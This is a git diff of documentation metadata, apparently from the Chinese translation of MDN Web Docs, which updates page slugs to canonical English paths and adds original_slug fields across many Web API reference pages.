    diff --git a/files/zh-cn/web/api/htmlelement/accesskey/index.html b/files/zh-cn/web/api/htmlelement/accesskey/index.html index 4f76e7f784..832396ac33 100644 --- a/files/zh-cn/web/api/htmlelement/accesskey/index.html +++ b/files/zh-cn/web/api/htmlelement/accesskey/index.html @@ -1,12 +1,13 @@ --- title: Element.accessKey -slug: Web/API/Element/accessKey +slug: Web/API/HTMLElement/accessKey tags: - API接口 - 属性 - 需要丰富内容 translation_of: Web/API/HTMLElement/accessKey translation_of_original: Web/API/Element/accessKey +original_slug: Web/API/Element/accessKey ---
    {{APIRef("DOM")}}
    diff --git a/files/zh-cn/web/api/htmlelement/animationend_event/index.html b/files/zh-cn/web/api/htmlelement/animationend_event/index.html index cb701ac392..85c1303f28 100644 --- a/files/zh-cn/web/api/htmlelement/animationend_event/index.html +++ b/files/zh-cn/web/api/htmlelement/animationend_event/index.html @@ -1,6 +1,6 @@ --- title: animationend -slug: Web/Events/animationend +slug: Web/API/HTMLElement/animationend_event tags: - Animation - AnimationEvent @@ -10,6 +10,7 @@ tags: - Reference - animationend translation_of: Web/API/HTMLElement/animationend_event +original_slug: Web/Events/animationend ---

    animationend 事件会在一个 CSS 动画完成时触发(不包括完成前就已终止的情况,例如元素变得不可见或者动画从元素中移除)。

    diff --git a/files/zh-cn/web/api/htmlelement/animationstart_event/index.html b/files/zh-cn/web/api/htmlelement/animationstart_event/index.html index 53929bfb0d..3f2092239a 100644 --- a/files/zh-cn/web/api/htmlelement/animationstart_event/index.html +++ b/files/zh-cn/web/api/htmlelement/animationstart_event/index.html @@ -1,6 +1,6 @@ --- title: animationstart -slug: Web/Events/animationstart +slug: Web/API/HTMLElement/animationstart_event tags: - Animation - AnimationEvent @@ -10,6 +10,7 @@ tags: - Reference - animationstart translation_of: Web/API/HTMLElement/animationstart_event +original_slug: Web/Events/animationstart ---

    animationstart 事件会在 CSS 动画开始时触发。 如果有 animation-delay 延时,事件会在延迟时效过后立即触发。为负数的延时时长会致使事件被触发时事件的 elapsedTime 属性值等于该时长的绝对值(并且,相应地,动画将直接播放该时长绝对值之后的动画)。

    diff --git a/files/zh-cn/web/api/htmlelement/change_event/index.html b/files/zh-cn/web/api/htmlelement/change_event/index.html index 6a997fc430..d1e5766eeb 100644 --- a/files/zh-cn/web/api/htmlelement/change_event/index.html +++ b/files/zh-cn/web/api/htmlelement/change_event/index.html @@ -1,6 +1,6 @@ --- title: change -slug: Web/Events/change +slug: Web/API/HTMLElement/change_event tags: - Change - HTML @@ -10,6 +10,7 @@ tags: - 事件 - 参考 translation_of: Web/API/HTMLElement/change_event +original_slug: Web/Events/change ---

    {{APIRef}}

    diff --git a/files/zh-cn/web/api/htmlelement/innertext/index.html b/files/zh-cn/web/api/htmlelement/innertext/index.html index 3062dda65f..723d09779e 100644 --- a/files/zh-cn/web/api/htmlelement/innertext/index.html +++ b/files/zh-cn/web/api/htmlelement/innertext/index.html @@ -1,6 +1,6 @@ --- title: HTMLElement.innerText -slug: Web/API/Node/innerText +slug: Web/API/HTMLElement/innerText tags: - API - DOM @@ -10,6 +10,7 @@ tags: - 参考 - 属性 translation_of: Web/API/HTMLElement/innerText +original_slug: Web/API/Node/innerText ---
    {{APIRef("DOM")}}
    diff --git a/files/zh-cn/web/api/htmlelement/input_event/index.html b/files/zh-cn/web/api/htmlelement/input_event/index.html index 7ee1b98ad5..12164b4ed4 100644 --- a/files/zh-cn/web/api/htmlelement/input_event/index.html +++ b/files/zh-cn/web/api/htmlelement/input_event/index.html @@ -1,6 +1,6 @@ --- title: input -slug: Web/Events/input +slug: Web/API/HTMLElement/input_event tags: - HTML DOM - HTMLElement @@ -10,6 +10,7 @@ tags: - 表单 - 输入 translation_of: Web/API/HTMLElement/input_event +original_slug: Web/Events/input ---

    {{APIRef}}

    diff --git a/files/zh-cn/web/api/htmlelement/transitionend_event/index.html b/files/zh-cn/web/api/htmlelement/transitionend_event/index.html index f79db8503a..a89b39de86 100644 --- a/files/zh-cn/web/api/htmlelement/transitionend_event/index.html +++ b/files/zh-cn/web/api/htmlelement/transitionend_event/index.html @@ -1,7 +1,8 @@ --- title: transitionend -slug: Web/Events/transitionend +slug: Web/API/HTMLElement/transitionend_event translation_of: Web/API/HTMLElement/transitionend_event +original_slug: Web/Events/transitionend ---
    {{APIRef}}
    diff --git a/files/zh-cn/web/api/htmlhyperlinkelementutils/hash/index.html b/files/zh-cn/web/api/htmlhyperlinkelementutils/hash/index.html index 5d8cc21f43..afb17d505e 100644 --- a/files/zh-cn/web/api/htmlhyperlinkelementutils/hash/index.html +++ b/files/zh-cn/web/api/htmlhyperlinkelementutils/hash/index.html @@ -1,9 +1,10 @@ --- title: HTMLHyperlinkElementUtils.hash -slug: Web/API/URLUtils/hash +slug: Web/API/HTMLHyperlinkElementUtils/hash tags: - HTMLHyperlinkElementUtils.hash translation_of: Web/API/HTMLHyperlinkElementUtils/hash +original_slug: Web/API/URLUtils/hash ---

    {{ APIRef("URLUtils") }}

    diff --git a/files/zh-cn/web/api/htmlhyperlinkelementutils/href/index.html b/files/zh-cn/web/api/htmlhyperlinkelementutils/href/index.html index cff669766d..dd9cbd64f3 100644 --- a/files/zh-cn/web/api/htmlhyperlinkelementutils/href/index.html +++ b/files/zh-cn/web/api/htmlhyperlinkelementutils/href/index.html @@ -1,9 +1,10 @@ --- title: HTMLHyperlinkElementUtils.href -slug: Web/API/URLUtils/href +slug: Web/API/HTMLHyperlinkElementUtils/href tags: - HTMLHyperlinkElementUtils.href translation_of: Web/API/HTMLHyperlinkElementUtils/href +original_slug: Web/API/URLUtils/href ---

    {{ApiRef("URL API")}}

    diff --git a/files/zh-cn/web/api/htmlhyperlinkelementutils/index.html b/files/zh-cn/web/api/htmlhyperlinkelementutils/index.html index e8d6c719d9..d6d93674e3 100644 --- a/files/zh-cn/web/api/htmlhyperlinkelementutils/index.html +++ b/files/zh-cn/web/api/htmlhyperlinkelementutils/index.html @@ -1,7 +1,8 @@ --- title: URLUtils -slug: Web/API/URLUtils +slug: Web/API/HTMLHyperlinkElementUtils translation_of: Web/API/HTMLHyperlinkElementUtils +original_slug: Web/API/URLUtils ---

    {{ApiRef("URL API")}}{{SeeCompatTable}}

    diff --git a/files/zh-cn/web/api/htmlhyperlinkelementutils/origin/index.html b/files/zh-cn/web/api/htmlhyperlinkelementutils/origin/index.html index d0f8d926ec..6b1eb90cda 100644 --- a/files/zh-cn/web/api/htmlhyperlinkelementutils/origin/index.html +++ b/files/zh-cn/web/api/htmlhyperlinkelementutils/origin/index.html @@ -1,9 +1,10 @@ --- title: HTMLHyperlinkElementUtils.origin -slug: Web/API/URLUtils/origin +slug: Web/API/HTMLHyperlinkElementUtils/origin tags: - HTMLHyperlinkElementUtils.origin translation_of: Web/API/HTMLHyperlinkElementUtils/origin +original_slug: Web/API/URLUtils/origin ---

    {{APIRef("URL API")}}

    diff --git a/files/zh-cn/web/api/htmlhyperlinkelementutils/password/index.html b/files/zh-cn/web/api/htmlhyperlinkelementutils/password/index.html index 99e9944875..0358323ce9 100644 --- a/files/zh-cn/web/api/htmlhyperlinkelementutils/password/index.html +++ b/files/zh-cn/web/api/htmlhyperlinkelementutils/password/index.html @@ -1,9 +1,10 @@ --- title: HTMLHyperlinkElementUtils.password -slug: Web/API/URLUtils/password +slug: Web/API/HTMLHyperlinkElementUtils/password tags: - HTMLHyperlinkElementUtils.password translation_of: Web/API/HTMLHyperlinkElementUtils/password +original_slug: Web/API/URLUtils/password ---

    {{ApiRef("URL API")}}

    diff --git a/files/zh-cn/web/api/htmlhyperlinkelementutils/pathname/index.html b/files/zh-cn/web/api/htmlhyperlinkelementutils/pathname/index.html index 203da5393a..95ceda3636 100644 --- a/files/zh-cn/web/api/htmlhyperlinkelementutils/pathname/index.html +++ b/files/zh-cn/web/api/htmlhyperlinkelementutils/pathname/index.html @@ -1,9 +1,10 @@ --- title: HTMLHyperlinkElementUtils.pathname -slug: Web/API/URLUtils/pathname +slug: Web/API/HTMLHyperlinkElementUtils/pathname tags: - HTMLHyperlinkElementUtils.pathname translation_of: Web/API/HTMLHyperlinkElementUtils/pathname +original_slug: Web/API/URLUtils/pathname ---

    {{ApiRef("URL API")}}

    diff --git a/files/zh-cn/web/api/htmlhyperlinkelementutils/search/index.html b/files/zh-cn/web/api/htmlhyperlinkelementutils/search/index.html index 4c9c8ae554..1fc142cc1f 100644 --- a/files/zh-cn/web/api/htmlhyperlinkelementutils/search/index.html +++ b/files/zh-cn/web/api/htmlhyperlinkelementutils/search/index.html @@ -1,9 +1,10 @@ --- title: HTMLHyperlinkElementUtils.search -slug: Web/API/URLUtils/search +slug: Web/API/HTMLHyperlinkElementUtils/search tags: - HTMLHyperlinkElementUtils.search translation_of: Web/API/HTMLHyperlinkElementUtils/search +original_slug: Web/API/URLUtils/search ---

    {{ApiRef("URL API")}}

    diff --git a/files/zh-cn/web/api/htmlhyperlinkelementutils/tostring/index.html b/files/zh-cn/web/api/htmlhyperlinkelementutils/tostring/index.html index 172ffda98b..1bffe5100b 100644 --- a/files/zh-cn/web/api/htmlhyperlinkelementutils/tostring/index.html +++ b/files/zh-cn/web/api/htmlhyperlinkelementutils/tostring/index.html @@ -1,10 +1,11 @@ --- title: HTMLHyperlinkElementUtils.toString() -slug: Web/API/URLUtils/toString +slug: Web/API/HTMLHyperlinkElementUtils/toString tags: - HTMLHyperlinkElementUtils.toString() - URL API translation_of: Web/API/HTMLHyperlinkElementUtils/toString +original_slug: Web/API/URLUtils/toString ---

    {{ApiRef("URL API")}}

    diff --git a/files/zh-cn/web/api/htmlhyperlinkelementutils/username/index.html b/files/zh-cn/web/api/htmlhyperlinkelementutils/username/index.html index 2e7a101f9f..f7a9df9f66 100644 --- a/files/zh-cn/web/api/htmlhyperlinkelementutils/username/index.html +++ b/files/zh-cn/web/api/htmlhyperlinkelementutils/username/index.html @@ -1,9 +1,10 @@ --- title: HTMLHyperlinkElementUtils.username -slug: Web/API/URLUtils/username +slug: Web/API/HTMLHyperlinkElementUtils/username tags: - HTMLHyperlinkElementUtils.username translation_of: Web/API/HTMLHyperlinkElementUtils/username +original_slug: Web/API/URLUtils/username ---

    {{ApiRef("URL API")}}

    diff --git a/files/zh-cn/web/api/htmlorforeignelement/blur/index.html b/files/zh-cn/web/api/htmlorforeignelement/blur/index.html index 96452abcc0..a8a3f46e58 100644 --- a/files/zh-cn/web/api/htmlorforeignelement/blur/index.html +++ b/files/zh-cn/web/api/htmlorforeignelement/blur/index.html @@ -1,6 +1,6 @@ --- title: HTMLElement.blur() -slug: Web/API/HTMLElement/blur +slug: Web/API/HTMLOrForeignElement/blur tags: - API - HTML DOM @@ -8,6 +8,7 @@ tags: - Method - Reference translation_of: Web/API/HTMLOrForeignElement/blur +original_slug: Web/API/HTMLElement/blur ---

    {{ APIRef() }}

    概述

    diff --git a/files/zh-cn/web/api/htmlorforeignelement/dataset/index.html b/files/zh-cn/web/api/htmlorforeignelement/dataset/index.html index 63ab5f48e8..bb7e0977e7 100644 --- a/files/zh-cn/web/api/htmlorforeignelement/dataset/index.html +++ b/files/zh-cn/web/api/htmlorforeignelement/dataset/index.html @@ -1,9 +1,10 @@ --- title: HTMLElement.dataset -slug: Web/API/HTMLElement/dataset +slug: Web/API/HTMLOrForeignElement/dataset tags: - HTMLElement.dataset translation_of: Web/API/HTMLOrForeignElement/dataset +original_slug: Web/API/HTMLElement/dataset ---

    {{ APIRef }}

    diff --git a/files/zh-cn/web/api/htmlorforeignelement/focus/index.html b/files/zh-cn/web/api/htmlorforeignelement/focus/index.html index eb47aff613..cc8e3f72d9 100644 --- a/files/zh-cn/web/api/htmlorforeignelement/focus/index.html +++ b/files/zh-cn/web/api/htmlorforeignelement/focus/index.html @@ -1,12 +1,13 @@ --- title: HTMLElement.focus() -slug: Web/API/HTMLElement/focus +slug: Web/API/HTMLOrForeignElement/focus tags: - API - 参考 - 方法 - 焦点 translation_of: Web/API/HTMLOrForeignElement/focus +original_slug: Web/API/HTMLElement/focus ---
    {{ APIRef("HTML DOM") }}
    diff --git a/files/zh-cn/web/api/htmlorforeignelement/nonce/index.html b/files/zh-cn/web/api/htmlorforeignelement/nonce/index.html index b2c6c829b1..07e113a5bb 100644 --- a/files/zh-cn/web/api/htmlorforeignelement/nonce/index.html +++ b/files/zh-cn/web/api/htmlorforeignelement/nonce/index.html @@ -1,6 +1,6 @@ --- title: HTMLElement.nonce -slug: Web/API/HTMLElement/nonce +slug: Web/API/HTMLOrForeignElement/nonce tags: - API - nonce @@ -8,6 +8,7 @@ tags: - 实验性 - 属性 translation_of: Web/API/HTMLOrForeignElement/nonce +original_slug: Web/API/HTMLElement/nonce ---

    {{SeeCompatTable}}{{APIRef("HTML DOM")}}

    diff --git a/files/zh-cn/web/api/htmlorforeignelement/tabindex/index.html b/files/zh-cn/web/api/htmlorforeignelement/tabindex/index.html index 516c659c2a..1e842c0ff4 100644 --- a/files/zh-cn/web/api/htmlorforeignelement/tabindex/index.html +++ b/files/zh-cn/web/api/htmlorforeignelement/tabindex/index.html @@ -1,7 +1,8 @@ --- title: HTMLElement.tabIndex -slug: Web/API/HTMLElement/tabIndex +slug: Web/API/HTMLOrForeignElement/tabIndex translation_of: Web/API/HTMLOrForeignElement/tabIndex +original_slug: Web/API/HTMLElement/tabIndex ---
    {{ APIRef("HTML DOM") }}
    diff --git a/files/zh-cn/web/api/index/index.html b/files/zh-cn/web/api/index/index.html index 9993a0a959..e910b907d2 100644 --- a/files/zh-cn/web/api/index/index.html +++ b/files/zh-cn/web/api/index/index.html @@ -1,6 +1,7 @@ --- title: 指数 -slug: Web/API/指数 +slug: Web/API/Index translation_of: Web/API/Index +original_slug: Web/API/指数 ---

    {{Index("/zh-CN/docs/Web/API")}}

    diff --git a/files/zh-cn/web/api/intersection_observer_api/timing_element_visibility/index.html b/files/zh-cn/web/api/intersection_observer_api/timing_element_visibility/index.html index 24446a0141..37c36f7c23 100644 --- a/files/zh-cn/web/api/intersection_observer_api/timing_element_visibility/index.html +++ b/files/zh-cn/web/api/intersection_observer_api/timing_element_visibility/index.html @@ -1,7 +1,8 @@ --- title: Timing element visibility with the Intersection Observer API -slug: Web/API/Intersection_Observer_API/点观察者API的时序元素可见性 +slug: Web/API/Intersection_Observer_API/Timing_element_visibility translation_of: Web/API/Intersection_Observer_API/Timing_element_visibility +original_slug: Web/API/Intersection_Observer_API/点观察者API的时序元素可见性 ---
    {{APIRef("Intersection Observer API")}}
    diff --git a/files/zh-cn/web/api/mediastream/addtrack/index.html b/files/zh-cn/web/api/mediastream/addtrack/index.html index ffb8052af5..e99a0a017e 100644 --- a/files/zh-cn/web/api/mediastream/addtrack/index.html +++ b/files/zh-cn/web/api/mediastream/addtrack/index.html @@ -1,7 +1,8 @@ --- title: MediaStream.addTrack() -slug: Web/API/MediaStream.addTrack +slug: Web/API/MediaStream/addTrack translation_of: Web/API/MediaStream/addTrack +original_slug: Web/API/MediaStream.addTrack ---

    {{APIRef("Media Capture and Streams")}}

    diff --git a/files/zh-cn/web/api/notifications_api/using_the_notifications_api/index.html b/files/zh-cn/web/api/notifications_api/using_the_notifications_api/index.html index 40bbb3848b..36f12c0ed4 100644 --- a/files/zh-cn/web/api/notifications_api/using_the_notifications_api/index.html +++ b/files/zh-cn/web/api/notifications_api/using_the_notifications_api/index.html @@ -1,12 +1,13 @@ --- title: 使用 Web Notifications -slug: Web/API/notification/Using_Web_Notifications +slug: Web/API/Notifications_API/Using_the_Notifications_API tags: - Firefox OS - Notifications - Using the Notifications API - 通知 translation_of: Web/API/Notifications_API/Using_the_Notifications_API +original_slug: Web/API/notification/Using_Web_Notifications ---

    {{APIRef("Web Notifications")}}

    diff --git a/files/zh-cn/web/api/offlineaudiocontext/complete_event/index.html b/files/zh-cn/web/api/offlineaudiocontext/complete_event/index.html index 74bdb5f3ff..139b6d9030 100644 --- a/files/zh-cn/web/api/offlineaudiocontext/complete_event/index.html +++ b/files/zh-cn/web/api/offlineaudiocontext/complete_event/index.html @@ -1,7 +1,8 @@ --- title: 'OfflineAudioContext: complete event' -slug: Web/API/OfflineAudioContext/complete +slug: Web/API/OfflineAudioContext/complete_event translation_of: Web/API/OfflineAudioContext/complete_event +original_slug: Web/API/OfflineAudioContext/complete ---

    {{DefaultAPISidebar("Web Audio API")}}

    diff --git a/files/zh-cn/web/api/payment_request_api/concepts/index.html b/files/zh-cn/web/api/payment_request_api/concepts/index.html index a6772dc5be..30e58235f5 100644 --- a/files/zh-cn/web/api/payment_request_api/concepts/index.html +++ b/files/zh-cn/web/api/payment_request_api/concepts/index.html @@ -1,6 +1,6 @@ --- title: 交易过程的基本概念 -slug: Web/API/支付_请求_接口/Concepts +slug: Web/API/Payment_Request_API/Concepts tags: - API - Apple Pay @@ -15,6 +15,7 @@ tags: - 收款方 - 贸易 translation_of: Web/API/Payment_Request_API/Concepts +original_slug: Web/API/支付_请求_接口/Concepts ---

    {{securecontext_header}}{{DefaultAPISidebar("Payment Request API")}}{{draft}}

    diff --git a/files/zh-cn/web/api/payment_request_api/index.html b/files/zh-cn/web/api/payment_request_api/index.html index 0df4261062..1d3db1feaa 100644 --- a/files/zh-cn/web/api/payment_request_api/index.html +++ b/files/zh-cn/web/api/payment_request_api/index.html @@ -1,6 +1,6 @@ --- title: 支付请求接口 -slug: Web/API/支付_请求_接口 +slug: Web/API/Payment_Request_API tags: - 中间状态 - 信用卡 @@ -13,6 +13,7 @@ tags: - 概述 - 贸易 translation_of: Web/API/Payment_Request_API +original_slug: Web/API/支付_请求_接口 ---
    {{DefaultAPISidebar("Payment Request API")}}{{securecontext_header}}
    diff --git a/files/zh-cn/web/api/performance/memory/index.html b/files/zh-cn/web/api/performance/memory/index.html index e9f5047d4e..074295f951 100644 --- a/files/zh-cn/web/api/performance/memory/index.html +++ b/files/zh-cn/web/api/performance/memory/index.html @@ -1,7 +1,8 @@ --- title: Performance.memory -slug: Web/API/Performance/内存 +slug: Web/API/Performance/memory translation_of: Web/API/Performance/memory +original_slug: Web/API/Performance/内存 ---

    {{APIRef}}

    diff --git a/files/zh-cn/web/api/pointer_lock_api/index.html b/files/zh-cn/web/api/pointer_lock_api/index.html index c22525ddb7..fac9eb5122 100644 --- a/files/zh-cn/web/api/pointer_lock_api/index.html +++ b/files/zh-cn/web/api/pointer_lock_api/index.html @@ -1,7 +1,8 @@ --- title: Pointer Lock API -slug: API/Pointer_Lock_API +slug: Web/API/Pointer_Lock_API translation_of: Web/API/Pointer_Lock_API +original_slug: API/Pointer_Lock_API ---

    {{ SeeCompatTable() }}

    diff --git a/files/zh-cn/web/api/response/clone/index.html b/files/zh-cn/web/api/response/clone/index.html index 0efccea0dc..f43e881bca 100644 --- a/files/zh-cn/web/api/response/clone/index.html +++ b/files/zh-cn/web/api/response/clone/index.html @@ -1,6 +1,6 @@ --- title: Response.clone() -slug: Web/API/Response/克隆 +slug: Web/API/Response/clone tags: - API - Experimental @@ -10,6 +10,7 @@ tags: - Response - clone translation_of: Web/API/Response/clone +original_slug: Web/API/Response/克隆 ---
    {{APIRef("Fetch")}}
    diff --git a/files/zh-cn/web/api/rtcpeerconnection/icecandidate_event/index.html b/files/zh-cn/web/api/rtcpeerconnection/icecandidate_event/index.html index 38fc5c1920..7e830adf3e 100644 --- a/files/zh-cn/web/api/rtcpeerconnection/icecandidate_event/index.html +++ b/files/zh-cn/web/api/rtcpeerconnection/icecandidate_event/index.html @@ -1,7 +1,8 @@ --- title: 'RTCPeerConnection: icecandidate event' -slug: Web/Events/icecandidate +slug: Web/API/RTCPeerConnection/icecandidate_event translation_of: Web/API/RTCPeerConnection/icecandidate_event +original_slug: Web/Events/icecandidate ---

    {{SeeCompatTable}}

    diff --git a/files/zh-cn/web/api/screen_capture_api/using_screen_capture/index.html b/files/zh-cn/web/api/screen_capture_api/using_screen_capture/index.html index ff32263241..e98533ac97 100644 --- a/files/zh-cn/web/api/screen_capture_api/using_screen_capture/index.html +++ b/files/zh-cn/web/api/screen_capture_api/using_screen_capture/index.html @@ -1,11 +1,12 @@ --- title: 使用屏幕捕获API -slug: Web/API/Screen_Capture_API/使用屏幕捕获API +slug: Web/API/Screen_Capture_API/Using_Screen_Capture tags: - API - 屏幕捕获 - 捕获 translation_of: Web/API/Screen_Capture_API/Using_Screen_Capture +original_slug: Web/API/Screen_Capture_API/使用屏幕捕获API ---

    {{DefaultAPISidebar("使用屏幕捕获API")}}

    diff --git a/files/zh-cn/web/api/selection/deletefromdocument/index.html b/files/zh-cn/web/api/selection/deletefromdocument/index.html index 5532bcf0fc..602c872134 100644 --- a/files/zh-cn/web/api/selection/deletefromdocument/index.html +++ b/files/zh-cn/web/api/selection/deletefromdocument/index.html @@ -1,7 +1,8 @@ --- title: Selection.deleteFromDocument() -slug: Web/API/Selection/从Document中删除 +slug: Web/API/Selection/deleteFromDocument translation_of: Web/API/Selection/deleteFromDocument +original_slug: Web/API/Selection/从Document中删除 ---
    diff --git a/files/zh-cn/web/api/server-sent_events/index.html b/files/zh-cn/web/api/server-sent_events/index.html index 4a9d6e0630..a6e44fee83 100644 --- a/files/zh-cn/web/api/server-sent_events/index.html +++ b/files/zh-cn/web/api/server-sent_events/index.html @@ -1,12 +1,13 @@ --- title: Server-sent events -slug: Server-sent_events +slug: Web/API/Server-sent_events tags: - API - NeedsTranslation - Server-sent events - TopicStub translation_of: Web/API/Server-sent_events +original_slug: Server-sent_events ---
    {{DefaultAPISidebar("Server Sent Events")}}
    diff --git a/files/zh-cn/web/api/server-sent_events/using_server-sent_events/index.html b/files/zh-cn/web/api/server-sent_events/using_server-sent_events/index.html index 505ec19a76..5665f55722 100644 --- a/files/zh-cn/web/api/server-sent_events/using_server-sent_events/index.html +++ b/files/zh-cn/web/api/server-sent_events/using_server-sent_events/index.html @@ -1,6 +1,6 @@ --- title: 使用服务器发送事件 -slug: Server-sent_events/Using_server-sent_events +slug: Web/API/Server-sent_events/Using_server-sent_events tags: - Advanced - DOM @@ -11,6 +11,7 @@ tags: - 服务器发送事件 - 通信 translation_of: Web/API/Server-sent_events/Using_server-sent_events +original_slug: Server-sent_events/Using_server-sent_events ---

    {{DefaultAPISidebar("Server Sent Events")}}

    diff --git a/files/zh-cn/web/api/speechrecognition/index.html b/files/zh-cn/web/api/speechrecognition/index.html index 83e11e69e4..2f8bca2c84 100644 --- a/files/zh-cn/web/api/speechrecognition/index.html +++ b/files/zh-cn/web/api/speechrecognition/index.html @@ -1,7 +1,8 @@ --- title: 语音识别 -slug: Web/API/语音识别 +slug: Web/API/SpeechRecognition translation_of: Web/API/SpeechRecognition +original_slug: Web/API/语音识别 ---

    {{APIRef("Web Speech API")}}{{SeeCompatTable}}

    diff --git a/files/zh-cn/web/api/speechrecognition/result_event/index.html b/files/zh-cn/web/api/speechrecognition/result_event/index.html index d6415441f3..ca9fcea3f3 100644 --- a/files/zh-cn/web/api/speechrecognition/result_event/index.html +++ b/files/zh-cn/web/api/speechrecognition/result_event/index.html @@ -1,7 +1,8 @@ --- title: 'SpeechRecognition: result event' -slug: Web/API/语音识别/result_event +slug: Web/API/SpeechRecognition/result_event translation_of: Web/API/SpeechRecognition/result_event +original_slug: Web/API/语音识别/result_event ---
    {{APIRef("Web Speech API")}} {{SeeCompatTable}}
    diff --git a/files/zh-cn/web/api/streams_api/concepts/index.html b/files/zh-cn/web/api/streams_api/concepts/index.html index 9c2d9f77ae..a634fb4f07 100644 --- a/files/zh-cn/web/api/streams_api/concepts/index.html +++ b/files/zh-cn/web/api/streams_api/concepts/index.html @@ -1,10 +1,11 @@ --- title: Streams API 概念 -slug: Web/API/Streams_API/概念 +slug: Web/API/Streams_API/Concepts tags: - 概念 - 流 translation_of: Web/API/Streams_API/Concepts +original_slug: Web/API/Streams_API/概念 ---
    {{apiref("Streams")}}
    diff --git a/files/zh-cn/web/api/streams_api/using_readable_streams/index.html b/files/zh-cn/web/api/streams_api/using_readable_streams/index.html index 5313b80dc2..8d2df46ffb 100644 --- a/files/zh-cn/web/api/streams_api/using_readable_streams/index.html +++ b/files/zh-cn/web/api/streams_api/using_readable_streams/index.html @@ -1,7 +1,8 @@ --- title: 使用可读文件流 -slug: Web/API/Streams_API/使用可读文件流 +slug: Web/API/Streams_API/Using_readable_streams translation_of: Web/API/Streams_API/Using_readable_streams +original_slug: Web/API/Streams_API/使用可读文件流 ---
    {{apiref("Streams")}}
    diff --git a/files/zh-cn/web/api/uievent/view/index.html b/files/zh-cn/web/api/uievent/view/index.html index 66b72f2637..215789e0e9 100644 --- a/files/zh-cn/web/api/uievent/view/index.html +++ b/files/zh-cn/web/api/uievent/view/index.html @@ -1,6 +1,6 @@ --- title: 用户界面项目视图 -slug: Web/API/UIEvent/视图 +slug: Web/API/UIEvent/view tags: - API - DOM @@ -9,6 +9,7 @@ tags: - 只读 - 属性 translation_of: Web/API/UIEvent/view +original_slug: Web/API/UIEvent/视图 ---

    {{APIRef("DOM Events")}}

    diff --git a/files/zh-cn/web/api/url/password/index.html b/files/zh-cn/web/api/url/password/index.html index 1592676a9d..5490343afd 100644 --- a/files/zh-cn/web/api/url/password/index.html +++ b/files/zh-cn/web/api/url/password/index.html @@ -1,7 +1,8 @@ --- title: URL.密码 -slug: Web/API/URL/密码 +slug: Web/API/URL/password translation_of: Web/API/URL/password +original_slug: Web/API/URL/密码 ---
    {{ApiRef("URL API")}}
    diff --git a/files/zh-cn/web/api/web_audio_api/best_practices/index.html b/files/zh-cn/web/api/web_audio_api/best_practices/index.html index f0a241a557..5cc79ea155 100644 --- a/files/zh-cn/web/api/web_audio_api/best_practices/index.html +++ b/files/zh-cn/web/api/web_audio_api/best_practices/index.html @@ -1,12 +1,13 @@ --- title: Web Audio API 最佳实践 -slug: Web/API/Web_Audio_API/最佳实践 +slug: Web/API/Web_Audio_API/Best_practices tags: - Web Audio API - 指导 - 最佳实践 - 音频 translation_of: Web/API/Web_Audio_API/Best_practices +original_slug: Web/API/Web_Audio_API/最佳实践 ---
    {{apiref("Web Audio API")}}
    diff --git a/files/zh-cn/web/api/web_workers_api/structured_clone_algorithm/index.html b/files/zh-cn/web/api/web_workers_api/structured_clone_algorithm/index.html index 60444f8dc4..5f59c5f8a0 100644 --- a/files/zh-cn/web/api/web_workers_api/structured_clone_algorithm/index.html +++ b/files/zh-cn/web/api/web_workers_api/structured_clone_algorithm/index.html @@ -1,11 +1,12 @@ --- title: 结构化克隆算法 -slug: Web/Guide/API/DOM/The_structured_clone_algorithm +slug: Web/API/Web_Workers_API/Structured_clone_algorithm tags: - DOM - HTML5 - 结构化克隆算法 translation_of: Web/API/Web_Workers_API/Structured_clone_algorithm +original_slug: Web/Guide/API/DOM/The_structured_clone_algorithm ---

    结构化克隆算法是由HTML5规范定义的用于复制复杂JavaScript对象的算法。通过来自 Workers的 postMessage() 或使用 IndexedDB 存储对象时在内部使用。它通过递归输入对象来构建克隆,同时保持先前访问过的引用的映射,以避免无限遍历循环。

    diff --git a/files/zh-cn/web/api/webglrenderingcontext/polygonoffset/index.html b/files/zh-cn/web/api/webglrenderingcontext/polygonoffset/index.html index a62d4aeafa..bec5cebef6 100644 --- a/files/zh-cn/web/api/webglrenderingcontext/polygonoffset/index.html +++ b/files/zh-cn/web/api/webglrenderingcontext/polygonoffset/index.html @@ -1,7 +1,8 @@ --- title: WebGLRenderingContext.polygonOffset() -slug: Web/API/WebGLRenderingContext/多边形偏移(polygonOffset) +slug: Web/API/WebGLRenderingContext/polygonOffset translation_of: Web/API/WebGLRenderingContext/polygonOffset +original_slug: Web/API/WebGLRenderingContext/多边形偏移(polygonOffset) ---
    {{APIRef("WebGL")}}
    diff --git a/files/zh-cn/web/api/webrtc_api/session_lifetime/index.html b/files/zh-cn/web/api/webrtc_api/session_lifetime/index.html index 86ddf25b47..fca4ff4be7 100644 --- a/files/zh-cn/web/api/webrtc_api/session_lifetime/index.html +++ b/files/zh-cn/web/api/webrtc_api/session_lifetime/index.html @@ -1,7 +1,8 @@ --- title: WebRTC 介绍 -slug: WebRTC/介绍 +slug: Web/API/WebRTC_API/Session_lifetime translation_of: Web/API/WebRTC_API/Session_lifetime +original_slug: WebRTC/介绍 ---

    此页面正在建设中,部分内容会移至其他页面,因为WebRTC指导资料已经建成。

    diff --git a/files/zh-cn/web/api/websocket/binarytype/index.html b/files/zh-cn/web/api/websocket/binarytype/index.html index aad8e48fc2..b2ff5df09d 100644 --- a/files/zh-cn/web/api/websocket/binarytype/index.html +++ b/files/zh-cn/web/api/websocket/binarytype/index.html @@ -1,6 +1,6 @@ --- title: WebSocket.binaryType -slug: Web/API/WebSocket/二进制类型 +slug: Web/API/WebSocket/binaryType tags: - 参考 - 属性 @@ -8,6 +8,7 @@ tags: - 网页套接字 - 网页接口 translation_of: Web/API/WebSocket/binaryType +original_slug: Web/API/WebSocket/二进制类型 ---

    {{APIRef("Web Sockets API")}}

    diff --git a/files/zh-cn/web/api/window/afterprint_event/index.html b/files/zh-cn/web/api/window/afterprint_event/index.html index 3ee72441cd..cdbd2aec80 100644 --- a/files/zh-cn/web/api/window/afterprint_event/index.html +++ b/files/zh-cn/web/api/window/afterprint_event/index.html @@ -1,7 +1,8 @@ --- title: afterprint -slug: Web/Events/afterprint +slug: Web/API/Window/afterprint_event translation_of: Web/API/Window/afterprint_event +original_slug: Web/Events/afterprint ---

    在相关联的文档已开始打印或打印预览已关闭之后, 触发 afterprint事件。

